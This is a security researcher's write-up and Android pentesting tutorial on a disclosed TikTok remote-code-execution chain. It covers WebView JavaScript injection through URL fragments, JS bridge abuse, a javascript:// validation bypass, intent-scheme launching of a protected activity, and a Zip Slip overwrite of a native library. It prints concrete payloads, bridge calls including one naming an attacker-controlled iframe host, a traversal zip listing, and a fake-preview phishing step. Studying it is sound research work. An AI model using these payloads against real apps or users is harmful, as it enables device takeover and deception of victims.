This write-up was previously removed because I personally believe that working with TikTok is Haram. I deleted it to avoid encouraging other Muslims in that direction. Please consult someone with solid knowledge of religion if you want to verify this.
However, I thought re-publishing it with a note is a good idea. I have decided to re-publish it, improve the writing, and add crucial points to focus on, as it contains rich content that can help bug hunters and researchers on their journey. Therefore, it deserves to be re-published and rewritten.
Before Diving In
I would like to clarify that this write-up will not focus solely on the TikTok RCE. I see this vulnerability as a good case study to provide you with a tutorial on real, practical Android application pentesting. So, while this blog talks about the TikTok Remote Code Execution, I will also try as much as possible to guide you during your Android app testing journey. Also, I expect those who read this write-up to have:
- The ability to do basic source code review. Simply put, you can follow your data in the source code to figure out where it will go.
- A basic understanding of programming. The blog contains code that I won't explain because it is very basic — just focus!
- Familiarity with basic Android app pentesting. The first 3 sections and FRIDA section of Android App Hacking are fair enough.
Recommended Reading Approach
I highly recommend an approach for reading this blog. It's simple: read the blog and highlight what you don't have solid knowledge about. For example, we will talk about component lifecycle in a nutshell. If you don't know what component lifecycle is, highlight it and continue with the blog. Then, review your highlights and ask AI or read documentation. So far so good? Let's dive in!
The Entry point
WebView is the door, Let's get in!
WebView is one of the richest assets to search for security issues. Developers often customize the webview to achieve specific goals, this customization is what we care about to evaluate our chances if we are able to reach this WebView by any means. This customization evaluation includes:
- Is Javascript enabled?
- Does it have Javascript interface, what is its implementation?
- Does it allow file scheme?
- Does it have WebViewClient, and if so, what is the implementation of its methods?
The tiktok://webview
deep-link implements URL validation on the url
parameter before loading it to ensure only whitelisted hostnames are loaded. At first glance, we can't get in, but no—take a rest and stop thinking now. Revisit it later, and you will see another perspective.
How do you get into a WebView that performs secure URL validation? While this is not the TikTok case, you can exploit XSS on the whitelisted URLs or open redirect vulnerabilities. Often, the URL validation mechanism is also applied through the implementation of the shouldOverrideUrlLoading
method of WebViewClient to prevent navigate to non whitelisted URL, but it's worth checking if it uses the same secure validation or a bypassable one.
But is this the end of the road? Must we exploit web vulnerabilities to get in? No. The TikTok case taught me otherwise.
We can't load our URL on the TikTok WebView, but anyway, the WebViewClient methods process the URL being loaded on the WebView through onPageStarted
, onPageFinished
, and shouldOverrideUrlLoading
. It's worth checking, even if you can't load your hostname on the WebView. We will see how! There, the developer implemented an impressive feature. There are some files that can be loaded offline called "falcon." When a URL is loaded in the WebView, it is intercepted if it is a "falcon" URL to load it from offline cached files. Despite the purpose of this feature, at the end of the interception process, the following line was executed:
this.a.evaluateJavascript("JSON.stringify(window.performance.getEntriesByName(\'" + this.webviewURL + "\'))", v2);
This was enough. If the falcon URL is concatenated to JavaScript code that will execute after the page finishes loading, and we can control the URL, we can inject JavaScript that leads us to XSS across any website loaded on the WebView (Universal XSS), and we're in the WebView!
My first try was loading https://m.tiktok.com/falcon/?test,test&'
to test if I could escape the string in the JavaScript code and inject my code. Unfortunately, my first attempt didn't work due to URL encoding. Frida logged the method call for me, and these were the argument values:
(agent) [6710433681464] Arguments android.webkit.WebView.evaluateJavascript("JSON.stringify(window.performance.getEntriesByName('https://m.tiktok.com/falcon/?test,test&%27'))", "<instance: android.webkit.ValueCallback, $className: com.bytedance.ies.i.a$2$1>")
Take a rest and stop thinking now. Revisit it later, and you will see another perspective. Yes, the URL will be encoded, but does the whole URL have to be encoded? No — what comes after the fragment #
won't be encoded. Here we go: Loading https://m.tiktok.com/falcon/?x,x#',alert(1),'
through tiktok://webview
will execute alert(1)
on m.tiktok.com
in the WebView. We're in!
From WebView to Activity
A JavaScript Injection issue on WebViewClient
allowed us to get into the WebView, but we didn't review the rest of the WebView
implementation and configuration. The implementation of shouldOverrideUrlLoading
method of the WebViewClient
had a surprise for me. After checking the code of it, I figured out that it intercepts the URL if it has intent
scheme and parse it with Intent.parseUri
which returns an Intent and then launches:
av v1_1 = bl.D();
e.f.b.l.a(v1_1, "LegacyServiceUtils.getCrossPlatformLegacyService()");
try {
v2 = Intent.parseUri(arg24, 1);
}
catch(URISyntaxException unused_ex) {
v2 = null;
}
Activity v6_1 = r.a(arg25.getContext());
PackageManager v6_2 = v6_1 == null ? null : v6_1.getPackageManager();
if(v6_2 != null && v2 == null ? null : v2.resolveActivity(v6_2) != null) {
v2.addFlags(0x10000000);
if(arg24 != null) {
com.ss.android.ugc.aweme.crossplatform.b.c v10_1 = com.ss.android.ugc.aweme.crossplatform.b.c.h.a();
com.ss.android.ugc.aweme.aa.a.l v1_2 = this.h;
if(v1_2 != null) {
v9 = (com.ss.android.ugc.aweme.aa.a.n)v1_2.a(com.ss.android.ugc.aweme.aa.a.n.class);
}
Uri v13 = Uri.parse(arg24);
e.f.b.l.a(v13, "Uri.parse(it)");
com.ss.android.ugc.aweme.crossplatform.b.c.a(v10_1, ((t)v9), "webview_safe_log", "filter_scheme", new w(v13, "intent_scheme_", null, 4, null).getFormatData(), null, null, 0x30, null);
}
arg25.getContext().startActivity(v2);
return true;
}
Read about the security issue here on Oversecured Blog
Hence, I can navigate to protected component using this gadget. However, I noticed something when I executed this JavaScript code to launch UserFavoritesActivity it didn't launch:
location = "intent:#Intent;component=com.zhiliaoapp.musically/com.ss.android.ugc.aweme.favorites.ui.UserFavoritesActivity;package=com.zhiliaoapp.musically;action=android.intent.action.VIEW;end;
I returned back to the shouldOverrideUrlLoading
method to figure what was going on and found it:
boolean v0_7 = v0_6 == null ? true : v0_6.hasClickInTimeInterval();
if((v8.i) && !v0_7) {
v8.i = false;
v4 = true;
}
else {
v4 = v0_7;
}
the v4
variable must be true to launch the intent scheme activity, but it won't be true if the hasClickInTimeInterval()
didn't return true, this code ensures that the intent scheme activity won't launch except if the user just clicked anywhere. This is not a major issue, because I can continually try to execute:
location = "intent:#Intent;component=com.zhiliaoapp.musically/com.ss.android.ugc.aweme.favorites.ui.UserFavoritesActivity;package=com.zhiliaoapp.musically;action=android.intent.action.VIEW;end;
And once the user clicks anywhere, the intent scheme activity will start. But it's a 2-click exploit! I don't like it :(.
I have another technique when I want to hunt for bugs in source code. Instead of analyzing the entry point and dig in. Sometimes, I dig out! How? I search for critical/risky methods that most of the time lead to vulnerability. In this case, I started to search where the application calls Intent.parseUri
because it is a strong indicator for Access Protected Component issue. And I found it on WebViewClient
implementation that being used on Activity called AddWikiActivity
:
String v1 = v13_1.getScheme();
boolean v2 = this.a.getIntent().getBooleanExtra("disable_app_link", true); // Those extras are being parsed from the deep-link, setting parameter `disable_app_link` on the deep-link to false will enable the intent scheme handling
String v3 = this.a.getIntent().getStringExtra("anchor_type");
if(v3 == null) {
v3 = "";
}
String v13_2 = v13_1.getPath();
if(v13_2 != null && (p.c(v13_2, ".apk", false, 2, null))) {
a.d(((Context)this.a), 0x7F1103DB).a(); // string:zz "Can\'t open this app"
return true;
}
if(p.a(v1, "intent", true)) {
if(v2) {
a.d(((Context)this.a), 0x7F1103DB).a(); // string:zz "Can\'t open this app"
return true;
}
try {
Intent v14 = Intent.parseUri(arg14, 1);
this.a.setIntent(v14);
this.a.getIntent().addFlags(0x10000000);
Intent v14_1 = this.a.getIntent();
this.a.startActivity(v14_1);
}
catch(URISyntaxException unused_ex) {
}
return true;
}
This activity is opened through the deep-link aweme://wiki?url={URL_TO_LOAD}
but it was an internal deep-link that won't trigger from outside the application. It seems like a problem, but fortunately, the tiktok://webview
deep-link's WebView has a rich JavascriptInterface attached to it called ToutiaoJSBridge
. This bridge exposes a function called openSchema
that can open internal deep-links, and here we go!
window.ToutiaoJSBridge.invokeMethod(JSON.stringify({
"__callback_id": "0",
"func": "openSchema",
"__msg_type": "callback",
"params": {
"schema": "aweme://wiki?url=https://m.tiktok.com/"
},
"JSSDK": "1",
"namespace": "host",
"__iframe_url": "http://iframe.attacker.com/"
}));
Bypass URL Validation
URL validation again, the aweme://wiki
deep-link implements URL validation to allow only white-listed hostnames, but it doesn't check for the URL scheme! Here I exploited the javascript
scheme to execute javascript on the WebView without manipulating the hostname segment of the URL: javascript://m.tiktok.com/%0alaert(1)
We can exploit XSS on tiktok://webview
-> Use the ToutiaoJSBridge
interface to open internal deep-link -> Exploit URL validation bypass on aweme://wiki
deep-link -> Start a protected component from there.
Getting Remote Code Execution
When you install an APK on Android that has native libraries included, Android usually extracts those native libraries to a read-only path /data/app/com.package.name
. Even the application itself can't write to or modify those native libraries there. But sometimes, the application needs to update those libraries without needing to update the whole application through the Play Store, so the application stores the native library in the writable protected data directory of the application at /data/data/com.package.name
. This is a common feature in popular applications on the market like Facebook, Instagram, and TikTok!
By observing the /data/data/com.zhiliaoapp.musically
directory, I found an app_lib
directory that contains native libraries that TikTok loads once it is launched.
TikTok, Take a Rest — There's Another Interesting Case!
Before diving into how I was able to write to the path and modify the native library to get RCE on TikTok, I will discuss a case that I faced with a popular application (I can't disclose it).
I was working on an application where I was able to get a file disk writing vulnerability, but I didn't find any native libraries in its data directory. So again, take a rest and stop thinking now. Revisit it later, and you will see another perspective.
Yes, there are no native libraries in the data
directory at first glance, but does that mean the application doesn't try to load native libraries from there? In other words, maybe the application implements a behavior like TikTok's but it is unused, or there is no update in the data
directory right now to load! So, I had to check the application code to figure out if it tries to do this or not. I started tracing the access
function of libc using Frida: frida-trace -i access -f com.package.name -U
because access
is called to check if a directory or file exists or not. I found that the application tries to check if the path /data/data/com.package.name/.hotpatch
exists or not. The name caught my attention, so I opened my decompiler to find where the application checks for the existence of the .hotpatch
directory, and surprise! I found the code where the application tries to load updates from the data
directory. I analyzed the code to figure out what the file structure in the .hotpatch
directory should be to load the update from there. Using the file write vulnerability, I was able to write a malicious update and get RCE!
Back to TikTok
Until now, we were able to start a protected component on TikTok through an XSS vulnerability on WebView. Now is the time for hunting for a gadget to the next step. Actually, we are now able to get XSS on m.tiktok.com
through the WebView exploit, so if we continue, we need a vulnerability that can do more than leak session information.
We need RCE. Maybe through command injection — if there is an activity that passes the intent data to the command line using getRuntime().exec
and similar methods. I searched a lot for that, but I didn't find anything. Or by overwriting the native libraries stored in /data/data/com.zhiliaoapp.musically/app_lib
, and I didn't find anything for about two weeks. Ugh. What, bro? This write-up is about TikTok RCE. Now you're thinking: "I didn't find anything?!" Take a rest and stop thinking now. Revisit it later, and you will see another perspective.
I Searched, but I Missed Something.
Usually when I decide to hunt on an application, I install it from the Play Store and pull the base.apk
from the storage. Simple:
adb shell pm path com.package.name # Shows the base.apk path
adb pull /data/app/....../base.apk
Then I feed the base.apk
to the decompiler. But I missed something—there are other APKs called splits that you can find using the same command adb shell pm path com.package.name
. Among those splits was a split called split_df_miniapp.apk
. This split has an Activity called TmaTestActivity
(I don't remember if it has other activities. It was like a gift from God for me).
The activity passes the Data Uri from Intent to this method:
...
public final void handleTmaTestAsync(Context arg4, Uri arg5, TmaTestCallback arg6) {
...
Uri v5 = Uri.parse(Uri.decode(arg5.toString()));
String v0 = v5.getQueryParameter("action");
if(StringUtils.isEqual(v0, "sdkUpdate")) { // ?action=sdkUpdate
this.updateJssdk(arg4, v5, arg6);
...
}
...
}
...
private final void updateJssdk(Context arg5, Uri arg6, TmaTestCallback arg7) {
String v0 = arg6.getQueryParameter("sdkUpdateVersion");
String v1 = arg6.getQueryParameter("sdkVersion");
String v6 = arg6.getQueryParameter("latestSDKUrl");
AppBrandLogger.d("sdkUpdateVersion " + v0 + " latestSDKUrl " + v6, new Object[0]);
SharedPreferences.Editor v2 = BaseBundleDAO.getJsSdkSP(arg5).edit();
v2.putString("sdk_update_version", v0).apply();
v2.putString("sdk_version", v1).apply();
v2.putString("latest_sdk_url", v6).apply();
DownloadBaseBundleHandler v6_1 = new DownloadBaseBundleHandler();
BundleHandlerParam v0_1 = new BundleHandlerParam();
v0_1.timeMeter = TimeMeter.newAndStart();
v0_1.baseBundleEvent = BaseBundleEventHelper.createEvent("handleBaseBundleWhenRestart", "restart", String.valueOf(BaseBundleFileManager.getLatestBaseBundleVersion()));
v6_1.setInitialParam(arg5, v0_1);
ResolveDownloadHandler v5 = new ResolveDownloadHandler();
v6_1.setNextHandler(((BaseBundleHandler)v5));
SetCurrentProcessBundleVersionHandler v6_2 = new SetCurrentProcessBundleVersionHandler();
v5.setNextHandler(((BaseBundleHandler)v6_2));
v6_2.finish();
if(AppbrandConstants.getProcessManager() != null) {
AppbrandConstants.getProcessManager().killAllProcess();
}
if(v0_1.isLastTaskSuccess) {
arg7.success("sdkUpdate");
return;
}
...
}
arg7.fail("sdkUpdate");
}
It takes new SDK information from the URL (sdkUpdateVersion
, sdkVersion
, latestSDKUrl
), then invokes a DownloadBaseBundleHandler
instance, then sets the next handler to ResolveDownloadHandler
, then SetCurrentProcessBundleVersionHandler
.
DownloadBaseBundleHandler
will check if sdkUpdateVersion
is newer than the current version. We can set the value to 9999
to avoid that check, then download the file:
public BundleHandlerParam handle(Context arg14, BundleHandlerParam arg15) {
if(arg15.isIgnoreTask) {
return arg15;
}
String v0 = BaseBundleManager.getInst().getSdkCurrentVersionStr(arg14);
String v8 = BaseBundleDAO.getJsSdkSP(arg14).getString("sdk_update_version", "");
String v9 = BaseBundleDAO.getJsSdkSP(arg14).getString("latest_sdk_url", "");
BaseBundleEvent v10 = arg15.baseBundleEvent;
long v6 = arg15.timeMeter.getMillisAfterStart();
List v1 = SettingsDAO.getListString(arg14, new Enum[]{Settings.BDP_JSSDK_ROLLBACK, BdpJssdkRollback.ERROR_VERSION});
String v2 = AppbrandUtil.convertVersionCodeToStr(BaseBundleFileManager.getLatestBaseBundleVersion());
if(v1 != null) {
if(v1.contains(v2)) {
v10.appendLog("rollback buildin basebundle");
arg15.bundleVersion = BaseBundleFileManager.unZipAssetsBundle(arg14, "__dev__.zip", "buildin_bundle", v10, true);
arg15.isIgnoreTask = true;
return arg15;
}
if(v1.contains(v8)) {
v10.appendLog("no need update to error basebundle version");
arg15.isIgnoreTask = true;
return arg15;
}
}
if(AppbrandUtil.convertVersionStrToCode(v0) >= AppbrandUtil.convertVersionStrToCode(v8) && (BaseBundleManager.getInst().isRealBaseBundleReadyNow())) {
InnerEventHelper.mpLibResult("mp_lib_validation_result", v0, v8, "no_update", "", -1L);
v10.appendLog("no need update remote basebundle version");
arg15.isIgnoreTask = true;
return arg15;
}
v10.appendLog("remote basebundle version validate, start download remote basebundle");
arg15.timeMeter = TimeMeter.newAndStart();
this.startDownload(v9, v10, arg15, v0, v8);
...
}
}
In the startDownload
method:
v2.a = StorageUtil.getExternalCacheDir(AppbrandContext.getInst().getApplicationContext()).getPath(); v2.b = this.getMd5FromUrl(arg16);
It requires AppbrandContext
to be initiated to get the save path. By default, it is not initiated. I searched the code to figure out where it would be initiated and found a function on the ToutiaoJSBridge
interface called preloadMiniApp
, so we must invoke this function first:
window.ToutiaoJSBridge.invokeMethod(JSON.stringify({ "__callback_id": "0", "func": "preloadMiniApp", "__msg_type": "callback", "params": { "mini_app_url": "https://microapp/" }, "JSSDK": "1", "namespace": "host", "__iframe_url": "http://d.c/" }));
Next, it gets the md5 value from the URL by invoking the getMd5FromUrl
method:
private String getMd5FromUrl(String arg3) {
return arg3.substring(arg3.lastIndexOf("_") + 1, arg3.lastIndexOf("."));
}
And uses the value to compare the md5sum of the file, so our malicious update filename must be anything_{md5sum_file}.zip
.
After the download processing finishes, the file gets passed to ResolveDownloadHandler
to unzip it!
Oh, Zip slipped!
Let's analyze the flow after the file is downloaded, starting from the ResolveDownloadHandler
class:
// ResolveDownloadHandler class
public BundleHandlerParam handle(Context arg13, BundleHandlerParam arg14) {
if(arg14.isIgnoreTask) {
return arg14;
}
...
if((arg14.isLastTaskSuccess) && arg14.targetZipFile != null && (arg14.targetZipFile.exists())) {
arg14.bundleVersion = BaseBundleFileManager.unZipFileToBundle(arg13, arg14.targetZipFile, "download_bundle", false, v0);
...
...
}
// BaseBundleFileManager Class
public static long unZipFileToBundle(Context arg8, File arg9, String arg10, boolean arg11, BaseBundleEvent arg12) {
...
try {
...
BaseBundleFileManager.tryUnzipBaseBundle(arg12, arg10, v1_1.getAbsolutePath(), arg9);
...
}
}
private static void tryUnzipBaseBundle(BaseBundleEvent arg2, String arg3, String arg4, File arg5) {
try {
...
IOUtils.unZipFolder(arg5.getAbsolutePath(), arg4);
}
catch(Exception v4) {
...
}
}
// IOUtils class
public static void unZipFolder(String arg1, String arg2) throws Exception {
IOUtils.a(new FileInputStream(arg1), arg2, false); // Notice, last argument is false!
}
private static void a(InputStream arg5, String arg6, boolean arg7) throws Exception {
ZipInputStream v0 = new ZipInputStream(arg5);
while(true) {
label_2:
ZipEntry v5 = v0.getNextEntry();
if(v5 == null) {
break;
}
String v1 = v5.getName();
if((arg7) && !TextUtils.isEmpty(v1) && (v1.contains("../"))) { // arg7 is the last argument, it is always false! The check for path traversal won't happen!
goto label_2;
}
if(v5.isDirectory()) {
new File(arg6 + File.separator + v1.substring(0, v1.length() - 1)).mkdirs();
goto label_2;
}
File v5_1 = new File(arg6 + File.separator + v1);
if(!v5_1.getParentFile().exists()) {
v5_1.getParentFile().mkdirs();
}
v5_1.createNewFile();
FileOutputStream v1_1 = new FileOutputStream(v5_1);
byte[] v5_2 = new byte[0x400];
while(true) {
int v3 = v0.read(v5_2);
if(v3 == -1) {
break;
}
v1_1.write(v5_2, 0, v3);
v1_1.flush();
}
v1_1.close();
}
v0.close();
}
It extracts the zip file, and while it has path traversal mitigation, this mitigation is disabled because the boolean argument arg7
of IOUtils.a
is always false, and the mitigation requires arg7 to be true:
if((arg7) && !TextUtils.isEmpty(v1) && (v1.contains("../"))) { // arg7 is the last argument, it is always false! The check for path traversal won't happen!
Believe me, it's a gift from God! When extracting a ZIP file like this:
dphoeniixx@MacBook-Pro Tiktok % 7z l libran_a1ef01b09a3d9400b77144bbf9ad59b1.zip
7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=utf8,Utf16=on,HugeFiles=on,64 bits,16 CPUs x64)
Scanning the drive for archives:
1 file, 1930 bytes (2 KiB)
Listing archive: libran_a1ef01b09a3d9400b77144bbf9ad59b1.zip
--
Path = libran_a1ef01b09a3d9400b77144bbf9ad59b1.zip
Type = zip
Physical Size = 1930
Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2020-11-26 04:08:29 ..... 5896 1496 ../../../../../../../../../data/data/com.zhiliaoapp.musically/app_lib/df_rn_kit/df_rn_kit_a3e37c20900a22bc8836a51678e458f7/arm64-v8a/libjsc.so
------------------- ----- ------------ ------------ ------------------------
2020-11-26 04:08:29 5896 1496 1 files
It will overwrite /data/data/com.zhiliaoapp.musically/app_lib/df_rn_kit/df_rn_kit_a3e37c20900a22bc8836a51678e458f7/arm64-v8a/libjsc.so
file!
A cake
This vulnerability can be triggered through a deep-link directly. But I found something interesting. Instead of sending a plain link to the victim, I can send the link in a TikTok inbox with fake preview information to trick the victim. I used the ToutiaoJSBridge
function called shareWebToChat
:
window.ToutiaoJSBridge.invokeMethod(JSON.stringify({
"__callback_id": "0",
"func": "shareWebToChat",
"__msg_type": "callback",
"params": {
"type":1,
"uid": "6863212886593569798",
"desc": "hello",
"title": "Titlerrdltesteeeddd",
"pic_url": "https://i.imgur.com/m1Q1vsk_d.png",
"web_url": "https://www.tiktok.com/"
},
"JSSDK": "1",
"namespace": "host",
"__iframe_url": "http://d.c/"
}));
Result:

Lesson: Don't click on my links.
The Journey Matters More Than the Destination
This TikTok RCE wasn't discovered in a single afternoon. It took weeks of analysis, dead ends, and moments of frustration. But that's the reality of security research — and understanding this reality is crucial for anyone starting their bug hunting journey. At the end, remember those points: 1. Persistence Through Dead Ends
- Secure URL validation on
tiktok://webview
? Found JavaScript injection. - Can't execute the intent scheme without clicks? Searched for other gadgets.
- No Command Injection vulnerabilities? Pivoted to native library overwriting.
- Didn't find anything after two weeks? Realized I missed the split APKs. Each roadblock wasn't a failure — it was an opportunity to approach the problem differently.
2. The "Take a Rest" Methodology This isn't just a catchy phrase. When you're deep in analysis, your brain creates patterns and assumptions and becomes trapped in them. Stepping away breaks these mental locks:
- URL encoding blocking your XSS? Come back later → Remember fragments aren't encoded.
- Secure URL validation again? You found it missed validating the scheme.
- No native libraries in
/data/data
? Come back later → Realize the app might still try to load from there. - Base APK doesn't have the gadget? Come back later → Remember to check split APKs.
3. Don't Just Dig In — Dig Out
Instead of: "Let me follow this deep link and see where it goes"
Try also: "Let me search for Intent.parseUri
and see what calls it"
4. Challenge Your Assumptions
- "This app doesn't load native libraries from /data/data" → But does it TRY to?
- "I can't load my URL in the WebView" → But can I inject JS when OTHER URLs load?
- "The base.apk doesn't have vulnerabilities" → What about the splits?
The Vulnerability Chain: A Masterclass in Creativity
Let's appreciate the creativity required to chain these bugs:
Universal XSS (URL fragment injection)
↓
Open internal deep-link (via ToutiaoJSBridge openSchema)
↓
Bypass URL validation (javascript:// scheme)
↓
Trigger intent scheme handler (Intent.parseUri gadget)
↓
Start protected TmaTestActivity
↓
Exploit Zip Slip (disabled path traversal check)
↓
Overwrite native library
↓
RCE on app restart
Each link was:
- Non-obvious (fragments bypass encoding, split APKs)
- Creative (javascript:// to bypass hostname validation)
- Required deep Android knowledge (component lifecycle, native library loading)
This isn't luck — this is pattern recognition built from experience.
Essential Watching/Reading
- Oversecured Blog — Excellent Android security research
- First 3 sections and FRIDA section of Android App Hacking — Black Belt Edition course. You don't need understanding smali unless you will patch the APK (To be honest, I didn't before). JEB Decompiler is awesome! and expansive :D
- Hackerone disclosed reports
Your Journey Starts Now
You've seen the methodology. You understand the mindset. You have the checklist. The next RCE might be waiting in an app on your phone right now. It might take you days, weeks, or months to find it. You'll hit dead ends. You'll need to "take a rest and revisit."
Thanks for reading!